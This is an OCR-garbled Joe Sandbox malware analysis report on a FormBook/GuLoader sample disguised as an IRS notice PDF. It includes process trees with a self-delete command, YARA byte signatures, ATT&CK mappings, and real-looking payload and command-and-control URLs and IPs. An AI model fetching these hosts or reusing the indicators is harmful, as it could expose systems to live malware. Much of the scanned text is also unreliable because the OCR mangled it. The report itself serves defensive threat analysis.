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Analysis Report IRS Notice Letter pdf document.exe

Overview
General Information Detection Classification
Sample IRS Notice Letter pdf

Name: document.exe Malicious sample detected (through ...

Analysis ID: 338078 MALICIOUS Snort IDS alert for network traffic (e....

MDS: 3fc4d64f320d7fa... System process connects to networ...

SHA1L:

b77666ebd64935.. Yara detected FormBook
SHA256: ec8b3d104a7fcal.

Yara detected Generic Dropper
Most interesting Screenshot:

Yara detected Guloader

Contains functionality to detect hard...

Contains functionality to hide a threa...

FormBook GulLoader Detected RDTSC dummy instruction...
100

Score:

B
a
-]

Executable has a suspicious name (...

Range: 0-100

Hides threads from debuggers

Whitelisted:  false

Confid 100% Initial sample is a PE file and has a ...
onfidence: Q)

w
«Q
>
2
(=
=
®
(7]

Startup

= System is w10x64
. 3 IRS Notice Letter pdf document.exe (PID: 6092 cmdline: 'C:\Users\user\Desktop\IRS Notice Letter pdf document.exe' MD5: 3FC4D64F320D7FAE4BB46F6A735AB853)
e [T IRS Notice Letter pdf document.exe (PID: 3788 cmdline: 'C:\Users\user\Desktop\IRS Notice Letter pdf document.exe' MD5: 3FC4D64F320D7FAE4BB46F6A735AB853)
o W explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
. $ cmstp.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\cmstp.exe MD5: 4833E65ED211C7F118D4A11E6FB58A09)
cmd.exe (PID: 4972 cmdline: /c del 'C:\Users\user\Desktop\IRS Notice Letter pdf document.exe’ MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000003.00000002.1021169489.0000000000D JoeSecurity_FormBook Yara detected Joe Security
60000.00000004.00000001.sdmp FormBook
00000003.00000002.1021169489.0000000000D Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
60000.00000004.00000001.sdmp brought to you by  yara-signator at e 0x8972:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14685:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
com 57494
e 0x14171:$sequence_2: 3B 4F 14 73 9585 C9 74 91
e 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
e 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
e 0x938a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02

83 E3 OF C1 EA 06

0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0Oxal02:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla8la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o
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Source Rule Description Author Strings

00000003.00000002.1021169489.0000000000D Formbook detect Formbook JPCERT/CC e 0x166a9:$sqlite3step: 68 34 1C 7B E1
60000.00000004.00000001.sdmp in memory Incident Response e 0x167bc:$sqlite3step: 68 34 1C 7B E1
Group e 0x166d8:$sqlite3text: 68 38 2A 90 C5
e 0x167fd:$sqlite3text: 68 38 2A 90 C5
e 0x166eb:$sqlite3blob: 68 53 D8 7F 8C
e 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.1022334778.00000000054 LokiBot_Dropper_Packed_ Auto-generated Florian Roth e 0x3a74:$s1: C:\Program Files (x86)\Microsoft Visual St
67000.00000004.00000001.sdmp R11_Feb18 rule - file scan udio\VB98\VB6.0OLB
copy.pdf.ril
00000003.00000002.1021417062.00000000030 JoeSecurity_FormBook Yara detected Joe Security
C0000.00000040.00000001.sdmp FormBook

Click to see the 15 entries

Sigma Overview

System Summary:

Signature Overview

@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

® Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality

g

Click to jump to signature section

AV Detection: | |

Yara detected FormBook

Networking: -ll

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud: -

Yara detected FormBook

K

]‘

System Summary:

Malicious sample detected (through community Yara rule)
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Data Obfuscation:

Yara detected GuLoader

Malware Analysis System Evasion:

a2

Anti Debugging:

aa

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

a2

Stealing of Sensitive Information:

Yara detected FormBook

Yara detected Generic Dropper

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Shared Path Process Virtualization/Sandbox OS Security Software Remote Archive Exfiltration Encrypted Eavesdrop on
Accounts  Modules g Interception  Injection Evasion Credential Discovery Services Collected  Over Other Channel Insecure
Dumping Data Network Network
Medium Communicatic
Default Scheduled Boot or Boot or Logon Process LSASS Virtualization/Sandbox Remote Clipboard  Exfiltration  Ingress Tool Exploit SS7 to
Logon Initialization Injection . Memory  Evasion Desktop Data Over Transfer Redirect Phon
Initialization  Scripts Protocol Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Deobfuscate/Decode  Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7 to
Accounts (Windows)  (Windows) Files or Information Account Admin Shares Network  Exfiltration Application Track Device
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Obfuscated Filesor  NTDS Application Window  Distributed Input Scheduled Application SIM Card
Accounts  (Windows) (Mac) (Mac) Information Discovery Component  Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Software Packing LSA Remote System SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Secrets Discovery Transfer Channels Device
Size Limits Communicatic
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Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Replication Launchd Rc.common Rc.common Steganography Cached System Information VNC GUI Input  Exfiltration  Multiband Jamming or
Through Domain Discovery Capture  Over C2 Communication Denial of
Removable Credentials Channel Service
Media
Behavior Graph
Behavior Graph
T — Legend
T s l:‘ Process
l:‘ Signature
- e o
l:‘ Created File
C— Il onsieinfo
- ™ IsD d
2 1
RN & & s Droppe
Wy i
Tres todetct Anyun | Hides e rom debuggers - ay Is Windows Process
Ias Number of created Registry Values
L]}

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

S IRS Noice Leterpot documentexe
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Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

] N

l e

] comostee B

(0N

<]

Copyright null 2021

Page 7 of 39



QEURIOIQ

F-l O Tyoe here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches
Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://\www.founder.com.cn/cn/bThe 0% URL Reputation safe
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Source

hitp:/fiwww.thebuzztraders.com/09rb/?
Jt78=tK5SHJI/BIVKSEfSQE3soaE4uMhY 2LrE6ZvvxVQCBFqIKYHEDfuOZHLVIIN1LVI7A3A7I&pNI=EXX
8_N6xKpgxS

hitp:/fiwww.kobumsnetwork.com/09rb/?
Jt78=29jYSSE1VYVKBCRV1XAVE7TBMmL4MadGzLcVhOKs/tFMQOj4Ha2R4yorJjHtPNwOUGSI&pNI=E
XX8_N6XKpgxS

hitp:/fiwww.tiro.com
hitp:/fiwww.tiro.com
hitp:/fiwww.tiro.com

hitp://www.rednbot.com/09rb/?
Jt78=GzMG1leSemGLMBHrXmbkE50ZCgXo7nbeyHhmTYulGjAFIODDsopduu5ndU/Um1KPjDO6I&pN9=
EXX8_N6xKpgxS

hitp://adojetson.com/vc/xdark_GOalsqF182.bin
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr

hitp:/f/www.emuprising.com/09rb/?
Jt78=boggCFO+VtvWGKPjuCU1AaxF3fKHqCWZ16CI7xOuJOi/WrjAR/MJIUIDIafE5Ade UJQBT&pNI=EXX
8 _N6xKpgxS

hitp://www.alessandrabortolussi.net/09rb/?
Jt78=kPRwpjmi7xHhdB/QktvvK7WyLyDr49juNOw/BSnfKghxj4qCtVdY SmPoUBccxdfkW2C+&pNI=EXX8
_N6xKpgxS

hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://fontfabrik.com

hitp://fontfabrik.com

hitp://fontfabrik.com
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn

hitp:/iwww.myaarpdentalpln.com/09rb/?
Jt78=5FI0Gne6++jCyaX7Drm8Xn32HTt8H/jqBsF3ANSEqn1nDC6nrfbel4dCYEQQYKDcDI2++&pNI=EXX8
_N6xKpgxS

hitp:/fiwww.aizimov.com/09rb/?
Jt78=nAgyAFuV8j6ec0qd9dJQyz40Go8ypkE1WIWLRMRPEN1Z0OiBWoUM4woT6qKfb9Xt5A1xV&pPNI=E
XX8_N6XKpgxS

hitp:/fiwww.aksaystudios.com/09rb/?
Jt78=fd7Pr27tD73tirRUHLPhwKiuhRBsBtlJKGnPU16/EYze1BREDS5LbMsrasNXGEI7bB1Y&pNI=EXX8
_N6xKpgxS

hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp://\www.galapagosdesign.com/DPlease
hitp://iwww.galapagosdesign.com/DPlease
hitp://iwww.galapagosdesign.com/DPlease
hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitp:/f/www.sandoll.co.kr
hitp:/f/www.sandoll.co.kr
hitp:/f/www.sandoll.co.kr
hitp://www.urwpp.deDPlease
hitp://www.urwpp.deDPlease
hitp://www.urwpp.deDPlease

hitp://www.zhongyicts.com.cn

Copyright null 2021

Detection

0%

0%

0%
0%
0%
0%

0%
0%
0%
0%
0%

0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%

0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Label Link

safe

safe

safe
safe
safe

safe

safe
safe
safe
safe

safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe
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Source Detection Scanner Label Link

hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe
hitp://www.sakkal.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

adojetson.com 198.187.29.67 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp://adojetson.com/vc/xdark_GOalsqF182.bin false e Avira URL Cloud: safe unknown

- -_-
- -_-

: -_-
g -_-

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

Copyright null 2021 Page 10 of 39



Name

hitp://www.apache.org/licenses/LICENSE-2.0

hitp:/fiwww.fontbureau.com

hitp:/fiwww.fontbureau.com/designersG

hitp://iwww.fontbureau.com/designers/?

hitp://www.founder.com.cn/cn/bThe

hitp:/fiwww.fontbureau.com/designers?

hitp://https://code.jquery.com/jquery-3.5.1.slim.min.js

http:/f

https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstra

p.min.js

hitp:/fiwww.tiro.com

hitp://www.fontbureau.com/designers

hitp://iwww.goodfont.co.kr

hitp://https://cdn.jsdelivr.net/npm/popper.js

hitp://www.carterandcone.coml

hitp://iwww.sajatypeworks.com

hitp:/fiwww.typography.netD

hitp://www.fontbureau.com/designers/cabarga.htmIN

hitp://www.founder.com.cn/cn/cThe

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com

hitp://www.founder.com.cn/cn

hitp://iwww.fontbureau.com/designers/frere-user.html

hitp:/fiwww.jiyu-kobo.co.jp/

hitp://\www.galapagosdesign.com/DPlease

hitp:/f\www.fontbureau.com/designers8

hitpiwww.%s.comPA

hitp:/fiwww.fonts.com

Copyright null 2021

Source

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000003.00000002.1
022387283.00000000055E2000.000
00004.00000001.sdmp

cmstp.exe, 00000003.00000002.1
022387283.00000000055E2000.000
00004.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

cmstp.exe, 00000003.00000002.1
022387283.00000000055E2000.000
00004.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
2.1022320807.0000000002B50000.
00000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

e URL Reputation:
e URL Reputation:
e URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Reputation

high

high

high

high

unknown

high

high

high

unknown

high

unknown

high

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

high

unknown

unknown

high

low

high
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Name

hitp:/f/www.sandoll.co.kr

hitp:/fiwww.urwpp.deDPlease

hitp://www.zhongyicts.com.cn

hitp:/fiwww.sakkal.com

Contacted IPs

] No. of IPs < 25%

B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%

Bl 75% < No. of IPs

Public

IP
199.59.242.153
153.126.209.136

172.67.209.95
34.102.136.180
198.187.29.67
216.58.207.179
147.255.30.94

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Copyright null 2021

Domain
unknown

unknown

unknown
unknown
unknown
unknown

unknown

Source

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

explorer.exe, 00000002.0000000
0.737440105.000000000B976000.0
0000002.00000001.sdmp

Country Flag
United States =
Japan D

United States
United States
United States
United States

| IR O S

United States

Malicious

false

false

false

false

ASN
395082
7684

13335
15169
22612
15169
395954

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

Reputation

safe unknown

safe
safe

safe unknown

safe
safe

safe unknown

safe
safe

safe unknown

safe
safe

ASN Name
BODIS-NJUS

SAKURA-
ASAKURAInternetincJP

CLOUDFLARENETUS
GOOGLEUS
NAMECHEAP-NETUS
GOOGLEUS

Malicious
true

true

true
true
false

true

LEASEWEB-USA-LAX-11US true

31.0.0 Red Diamond

338078
11.01.2021
16:21:56
CloudBasic

Oh 9m 54s
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Hypervisor based Inspection enabled: false

Report type: light
Sample file name: IRS Notice Letter pdf document.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211
Number of analysed new started processes analysed: 5
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mall100.troj.spyw.evad.WinEXE@7/0@17/7
EGA Information: e Successful, ratio: 100%
HDC Information: e Successful, ratio: 29.8% (good quality ratio 25.7%)

e Quality average: 69.8%
e Quality standard deviation: 33.9%
HCA Information: e Successful, ratio: 69%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension:
.exe
Warnings: Show All

e Excluded IPs from analysis (whitelisted):
13.64.90.137, 205.185.216.42, 205.185.216.10

e TCP Packets have been reduced to 100

e Excluded domains from analysis (whitelisted):
skypedataprdcolwus17.cloudapp.net,
blobcollector.events.data.trafficmanager.net,
audownload.windowsupdate.nsatc.net,
au.download.windowsupdate.com.hwcdn.net,
ctldl.windowsupdate.com,
cds.d2s7g6s2.hwcdn.net,
watson.telemetry.microsoft.com, au-bg-
shim.trafficmanager.net

e Report size exceeded maximum capacity and may
have missing disassembly code.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e VT rate limit hit for:
/opt/package/joesandbox/database/analysis/33807
8/sample/IRS Notice Letter pdf document.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context
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Match
199.59.242.153

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

thevampir
e_vvv.byet
host32.com
/Nloglogin.html

www.fux.x
yz/nt8e/?2
dj=y/4CZD0
u6UTnndZ84
eN1FoffB2o
9AcFBv2ary
WGMbwZK5Tn
cQjhg8LsZL
tt2QtFrhXJ5&BR-
LnJ=YVJpeDOX

wwl.survey-
smiles.com/

www.phyma
th.science/6bu2/?
u6u0=C0Tcv4PE
DaSqigbiBH
mU4chmBJ2l
b35dQ7WAYQ
J79VITRII
RJeSkc3aZR
5il925ug+e
&9r412=xPJtQXiX

www.bipho
me.com/th7/?
Wx0=F3X7
BvJsNeC3Fy
gCw13H4IB8
jadlkgqJtxd
mqtCOR8NGR
B4xp+pRJIAq
P9Tbys+XJI
W324&vB=lhvxP

www.fallg
uysgen.com
/09rb/?BjR
=8wyat+wXP
X2GJTjzAS1
v8j/sun3jd
OBQARDtILQ
TOj6Weterl
y/mLKuj1YP
10uEltrgD&
0jPLdR=9r9
xbv2Prvr4

www.fallg
uysgen.com
/09rb/?QL3
=8wyat+wXP
X2GJTjzAS1
v8j/sun3jd
OBQARDtILQ
TOj6Wéterl
y/mLKuj1bj
2SelNgKdvJ
18iPg==&vD
H4Y=N8IT8D
ApP2

www.lakec
harlesloan
.com/m98/

www.srtea
msex.com/jskg/?
8pgD2
Ikp=vPxUJO
J2Aeffo2LE
3jfwO3D5fU
iArlaEsmmM
lyas9ke7k/
N8Gf6ZXTSs
Viol9x5Z8L
al&yTIDml=
X6XHfzusd
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https://view.joesandbox.com/analysis/253927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253927/html/none?idtype=webid
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253872/html/none?idtype=webid
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252967/html/none?idtype=webid
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250658/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.srtea
msex.com/jskg/?
9roHn
=vPxUJOJ2A
effo2L E3jf
wO3D5fUIAr
laEsmmMlya
s9ke7k/NBG
f6ZXTSsVio
19x5Z8Lal&
npHhw=3fq4
gDD0abs8

www.capia
Ihealth.co
m/w8en/?wZ
=0ZNhib&iJ
E=PC3EVoXx
07elaN9zQ9
JVPu3uhPMA
8lrp9yOZFf
U9U+2Z+rMv
gXeGWrCKYN
niyi9/Q+4F
/80NIg==

www.trapt
longview.c
om/csv8/?w
PX=9GN7fGO
GIXNjrF88E
5TxviJgjVB
4/la6MjhQ3
CZtrJBE6uv
IYv2ahYgsl|
WDOh5HAFE9
z&UPNDHz=S
VETu4vhSBmH6

www.globe
publishers
.com/csv8/?SR-
D3jP=Q
LtdsMIXP7Z
QIVjWT7fAe
OzLoSV1+fX
m7wWs73uEC
gmLouwXj2m
CPN/rnODb9
flfr/+N&J0
GTk=3fPL-x
00rXpOUNN

www.globe
publishers
.com/csv8/?
AZ=QLtdsM
ISP8ZUI/va
R7fAeOzLoS
V1+Xm7wO8
nOyFGAmKof
cRkm30ZJHp
krvnm/Rsk+
r9zQ==&1bq
tf=oL30w60

WWW.Isi.x
yz/t4vo/?9
rspyh=fth4
_hPhQ&xRWx
BfL=wfdgmD
LeiX8AOXbR
cwwli20exgn
5R1EzGUKMW
aYP6QiJJcs
RpHAZz5FYgM
hHdIC+3EYXet

www.trapt
longview.c
om/csv8/?j
L30v=9GN7f
GOGI/XNjrF8
8E5TxviJgj
VB4/la6Mjh
Q3CZtrJBE6
uvlYv2ahYg
sIVjkuyX4B
hU0&JBADYN
=9rhd62Ix1hk
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https://view.joesandbox.com/analysis/249441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249441/html/none?idtype=webid
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e www.baack
stage.com/llp/?
1b8xixO=6djViKV
/KVg+HnQ3c
pIGEwepNd6
s+5Q/IAYW
iJQrTJ+jat
eGwi7y5pfa
/howolZ7yP
B&k2Jdyb=f
DHXWLX0Sx

Get hash malicious Browse e www.trapt
longview.c
om/csv8/?0
Xop=9GN7fG
OD/QNnrvVww
G5TxviJgjV
B4/la6Mj5A
rBFsvpBF6f
DOfInW3cYu
mwPyqITLKi
JE7w==&Az=
mrG0J

Get hash malicious Browse e www.trapt
longview.c
om/csv8/?L
Xe09=9GN7f
GOG/XNjrF8
8E5TxviJgj
VB4/la6Mjh
Q3CZtrJBE6
uvlYv2ahYg
sIWPOypLDG
U9IIE66TA=
=&h28=00G
liFfpjJXxzh

Get hash malicious Browse e www.trapt
longview.c
om/csv8/?9
riTI=D4n4&
t8r8=9GN7f
GOG/XNjrF8
8E5TxviJgj
VB4/la6Mjh
Q3CZtrJBE6
uvlYv2ahYg
sIVjOxon4FjcO

153.126.209.136 Get hash malicious Browse ° www.aizim
ov.com/09rh/?
BjR=nAg
yAFuV8j6ec
00qd9dJQyz4
0Go8ypkEIW
IWLRMRPEN1
ZOiBWoUM4w
oT6qKfb9Xt
5A1xV&ojPL
dR=9r9xbv2Prvr4

Get hash malicious Browse ° www.aizim
ov.com/09rb/?
QL3=nAg
yAFuV8j6ec
00qd9dJQyz4
0Go8ypkEIW
IWLRMRPEN1
ZOiBWoUM4w
0T6qgJzYhnh
BNUMDO7Gwr
w==&vDH4Y=
N8IT8DApP2

34.102.136.180 Get hash malicious Browse e  www.triag
ggroup.com
/8rg4/?LR-
8gNt=K2ruf
iHMe1HBISy
wabRpczlcU
QQQUTYEtU
AxTz/46ubT
Xsziv/5HgK
DRe6dILzkz
KhkQA==&2d
=WpUOIh
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https://view.joesandbox.com/analysis/247830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247830/html/none?idtype=webid
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247705/html/none?idtype=webid
https://view.joesandbox.com/analysis/247682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247682/html/none?idtype=webid
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247375/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/253975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253975/html/none?idtype=webid

Match

Copyright null 2021

